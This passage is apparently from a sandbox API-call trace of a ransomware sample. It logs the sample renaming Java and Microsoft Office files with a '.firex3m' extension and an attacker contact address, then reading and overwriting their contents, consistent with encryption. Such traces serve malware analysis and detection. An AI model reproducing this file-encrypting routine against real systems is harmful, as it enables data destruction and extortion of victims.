(normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0xa083032, dwReserved1=0x0, cFileName="default.jfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEFAUL~1.FIR")) returned 0x6d5000 [0128.495] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0128.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0128.495] GetProcessHeap () returned 0x630000 [0128.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4ea1) returned 0x71aef98 [0128.496] GetProcessHeap () returned 0x630000 [0128.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4ea1) returned 0x71b3e48 [0128.496] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.496] ReadFile (in: hFile=0x67c, lpBuffer=0x71aef98, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aef98*, lpNumberOfBytesRead=0x357ff0c*=0x4e80, lpOverlapped=0x0) returned 1 [0132.345] GetProcessHeap () returned 0x630000 [0132.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0132.345] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.345] WriteFile (in: hFile=0x67c, lpBuffer=0x71b3e48*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b3e48*, lpNumberOfBytesWritten=0x357ff0c*=0x4e80, lpOverlapped=0x0) returned 1 [0132.346] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.346] WriteFile (in: hFile=0x67c, lpBuffer=0x71b8cc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b8cc7*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0132.346] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.346] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0132.346] CloseHandle (hObject=0x67c) returned 1 [0132.347] GetProcessHeap () returned 0x630000 [0132.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b3e48 | out: hHeap=0x630000) returned 1 [0132.347] GetProcessHeap () returned 0x630000 [0132.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aef98 | out: hHeap=0x630000) returned 1 [0132.348] GetProcessHeap () returned 0x630000 [0132.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0132.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0132.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14d45b34, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4eb1, dwReserved0=0xc787496, dwReserved1=0x71aef90, cFileName="default.jfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEFAUL~1.FIR")) returned 0x6d5200 [0132.349] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0132.350] Sleep (dwMilliseconds=0x1) [0134.552] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", len=0x44 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 1 [0134.552] GetProcessHeap () returned 0x630000 [0134.552] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18c) returned 0x66a3e0 [0134.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.552] CloseHandle (hObject=0x4bc) returned 1 [0134.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0014~1.FIR")) returned 0x6d4f00 [0134.553] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0134.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.554] GetProcessHeap () returned 0x630000 [0134.554] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c1) returned 0x6c9908 [0134.554] GetProcessHeap () returned 0x630000 [0134.554] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c1) returned 0x6cca40 [0134.554] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.554] ReadFile (in: hFile=0x4bc, lpBuffer=0x6c9908, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6c9908*, lpNumberOfBytesRead=0x357ff0c*=0x6a0, lpOverlapped=0x0) returned 1 [0134.605] GetProcessHeap () returned 0x630000 [0134.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0134.605] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.605] WriteFile (in: hFile=0x4bc, lpBuffer=0x6cca40*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cca40*, lpNumberOfBytesWritten=0x357ff0c*=0x6a0, lpOverlapped=0x0) returned 1 [0134.605] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.606] WriteFile (in: hFile=0x4bc, lpBuffer=0x6cd0df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6cd0df*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.606] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.606] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.606] CloseHandle (hObject=0x4bc) returned 1 [0134.607] GetProcessHeap () returned 0x630000 [0134.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cca40 | out: hHeap=0x630000) returned 1 [0134.607] GetProcessHeap () returned 0x630000 [0134.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6c9908 | out: hHeap=0x630000) returned 1 [0134.607] GetProcessHeap () returned 0x630000 [0134.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0134.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x162e9d94, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x357fd20, dwReserved1=0x6c9908, cFileName="BL00148_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0014~1.FIR")) returned 0x6d4f40 [0134.607] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0134.607] Sleep (dwMilliseconds=0x1) [0134.634] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", len=0x44 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 1 [0134.634] GetProcessHeap () returned 0x630000 [0134.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x180) returned 0x66a3e0 [0134.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0134.634] CloseHandle (hObject=0x694) returned 1 [0134.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0010~1.FIR")) returned 0x6d4f40 [0134.636] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0134.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0134.636] GetProcessHeap () returned 0x630000 [0134.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x698c00 [0134.636] GetProcessHeap () returned 0x630000 [0134.636] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6ed5930 [0134.636] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.636] ReadFile (in: hFile=0x694, lpBuffer=0x698c00, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x698c00*, lpNumberOfBytesRead=0x357ff0c*=0x360, lpOverlapped=0x0) returned 1 [0134.674] GetProcessHeap () returned 0x630000 [0134.674] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0134.674] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.674] WriteFile (in: hFile=0x694, lpBuffer=0x6ed5930*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed5930*, lpNumberOfBytesWritten=0x357ff0c*=0x360, lpOverlapped=0x0) returned 1 [0134.674] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.674] WriteFile (in: hFile=0x694, lpBuffer=0x6ed5c8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed5c8f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.674] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.674] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.675] CloseHandle (hObject=0x694) returned 1 [0134.675] GetProcessHeap () returned 0x630000 [0134.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed5930 | out: hHeap=0x630000) returned 1 [0134.675] GetProcessHeap () returned 0x630000 [0134.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x698c00 | out: hHeap=0x630000) returned 1 [0134.675] GetProcessHeap () returned 0x630000 [0134.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0134.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16382647, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0xc787496, dwReserved1=0x698bf8, cFileName="BL00105_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0010~1.FIR")) returned 0x6d4ec0 [0134.676] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0134.676] Sleep (dwMilliseconds=0x1) [0134.684] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF", len=0x44 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 1 [0134.684] GetProcessHeap () returned 0x630000 [0134.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0134.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.684] CloseHandle (hObject=0x4bc) returned 1 [0134.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0001~1.FIR")) returned 0x6d5440 [0134.685] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0134.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.685] GetProcessHeap () returned 0x630000 [0134.685] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2661) returned 0x6fd3c60 [0134.685] GetProcessHeap () returned 0x630000 [0134.685] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2661) returned 0x6fd62d0 [0134.685] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.685] ReadFile (in: hFile=0x4bc, lpBuffer=0x6fd3c60, nNumberOfBytesToRead=0x2640, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd3c60*, lpNumberOfBytesRead=0x357ff0c*=0x2640, lpOverlapped=0x0) returned 1 [0136.722] GetProcessHeap () returned 0x630000 [0136.722] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0136.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.722] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fd62d0*, nNumberOfBytesToWrite=0x2640, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd62d0*, lpNumberOfBytesWritten=0x357ff0c*=0x2640, lpOverlapped=0x0) returned 1 [0136.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.722] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fd890f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd890f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.722] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.722] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.723] CloseHandle (hObject=0x4bc) returned 1 [0136.724] GetProcessHeap () returned 0x630000 [0136.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd62d0 | out: hHeap=0x630000) returned 1 [0136.724] GetProcessHeap () returned 0x630000 [0136.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd3c60 | out: hHeap=0x630000) returned 1 [0136.724] GetProcessHeap () returned 0x630000 [0136.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0136.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17707cab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0xc787496, dwReserved1=0x6fd3c58, cFileName="BL00012_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0001~1.FIR")) returned 0x6d5540 [0136.724] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0136.724] Sleep (dwMilliseconds=0x1) [0138.472] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml", len=0x5e | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml") returned 1 [0138.472] GetProcessHeap () returned 0x630000 [0138.472] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a5c) returned 0x72b0508 [0138.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme 